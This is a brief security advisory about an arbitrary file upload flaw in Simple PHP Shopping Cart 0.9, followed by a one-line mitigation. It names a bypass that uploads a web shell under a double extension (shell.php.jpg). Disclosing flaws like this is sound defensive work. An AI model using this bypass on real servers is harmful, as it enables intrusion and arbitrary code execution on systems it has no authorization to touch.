Simple PHP Shopping Cart 0.9 – Arbitrary File Upload

An arbitrary file upload vulnerability exists in Simple PHP Shopping Cart 0.9. An attacker can exploit this vulnerability to upload malicious files to the web server and execute arbitrary code. This vulnerability is due to insufficient validation of the uploaded file type. An attacker can exploit this vulnerability by sending a malicious file with a double extension such as shell.php.jpg. This will bypass the validation and allow the attacker to upload the malicious file to the web server.

Mitigation:

The application should validate the file type of the uploaded file and only allow the upload of files with the expected file type.
